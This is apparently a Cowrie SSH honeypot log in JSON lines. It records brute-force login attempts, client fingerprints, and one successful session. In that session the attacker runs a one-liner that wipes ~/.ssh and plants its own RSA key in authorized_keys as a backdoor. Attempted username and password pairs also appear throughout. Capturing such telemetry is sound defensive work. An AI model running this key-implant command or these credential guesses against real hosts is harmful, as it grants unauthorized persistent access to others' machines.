{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:09.530987Z","src_ip":"103.77.242.62","session":"739d5d102eb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nescafe","message":"login attempt [root/nescafe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:10.275940Z","src_ip":"103.77.242.62","session":"739d5d102eb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:11.528378Z","src_ip":"103.77.242.62","session":"739d5d102eb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":35782,"dst_ip":"10.17.0.5","dst_port":22,"session":"d150fcaa5864","protocol":"ssh","message":"New connection: 103.189.234.9:35782 (10.17.0.5:22) [session: d150fcaa5864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:28.481842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:28.486619Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:28.721978Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"qwe123","message":"login attempt [steam/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:29.714249Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:30.249747Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:30.253743Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:30.259698Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:30.732991Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:31.009590Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:31.012572Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:31.255919Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:31.260769Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":35798,"dst_ip":"10.17.0.5","dst_port":22,"session":"a937dd681eb7","protocol":"ssh","message":"New connection: 103.189.234.9:35798 (10.17.0.5:22) [session: a937dd681eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:31.490174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:31.494817Z","src_ip":"103.189.234.9","session":"a937dd681eb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:31.730224Z","src_ip":"103.189.234.9","session":"a937dd681eb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:32.705993Z","src_ip":"103.189.234.9","session":"a937dd681eb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:33.944765Z","src_ip":"103.189.234.9","session":"a937dd681eb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":33002,"dst_ip":"10.17.0.5","dst_port":22,"session":"427c197a3800","protocol":"ssh","message":"New connection: 103.189.234.9:33002 (10.17.0.5:22) [session: 427c197a3800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:34.177980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:34.183261Z","src_ip":"103.189.234.9","session":"427c197a3800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:34.424294Z","src_ip":"103.189.234.9","session":"427c197a3800","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:35.402334Z","src_ip":"103.189.234.9","session":"427c197a3800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:35.639913Z","src_ip":"103.189.234.9","session":"d150fcaa5864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:35.645771Z","src_ip":"103.189.234.9","session":"427c197a3800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":59924,"dst_ip":"10.17.0.5","dst_port":22,"session":"8af0eba50a75","protocol":"ssh","message":"New connection: 193.228.128.84:59924 (10.17.0.5:22) [session: 8af0eba50a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:33:22.562833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:33:22.568798Z","src_ip":"193.228.128.84","session":"8af0eba50a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:33:22.672286Z","src_ip":"193.228.128.84","session":"8af0eba50a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ccccccc","message":"login attempt [root/ccccccc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:33:22.984270Z","src_ip":"193.228.128.84","session":"8af0eba50a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:33:24.098194Z","src_ip":"193.228.128.84","session":"8af0eba50a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":46652,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c1a818e0227","protocol":"ssh","message":"New connection: 85.11.167.46:46652 (159.203.135.109:22) [session: 1c1a818e0227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:33:52.978528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:33:52.983588Z","src_ip":"85.11.167.46","session":"1c1a818e0227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:33:53.074352Z","src_ip":"85.11.167.46","session":"1c1a818e0227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:33:53.325508Z","src_ip":"85.11.167.46","session":"1c1a818e0227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:33:54.417961Z","src_ip":"85.11.167.46","session":"1c1a818e0227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":33046,"dst_ip":"10.17.0.5","dst_port":22,"session":"59612d16f277","protocol":"ssh","message":"New connection: 103.189.234.9:33046 (10.17.0.5:22) [session: 59612d16f277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:05.321105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:05.327332Z","src_ip":"103.189.234.9","session":"59612d16f277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:05.572041Z","src_ip":"103.189.234.9","session":"59612d16f277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123123","message":"login attempt [root/qwerty123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:06.565088Z","src_ip":"103.189.234.9","session":"59612d16f277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:07.809500Z","src_ip":"103.189.234.9","session":"59612d16f277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":50374,"dst_ip":"10.17.0.5","dst_port":22,"session":"a143e47e4abf","protocol":"ssh","message":"New connection: 103.149.28.157:50374 (10.17.0.5:22) [session: a143e47e4abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:09.651773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:09.656877Z","src_ip":"103.149.28.157","session":"a143e47e4abf","protocol":"ssh"}
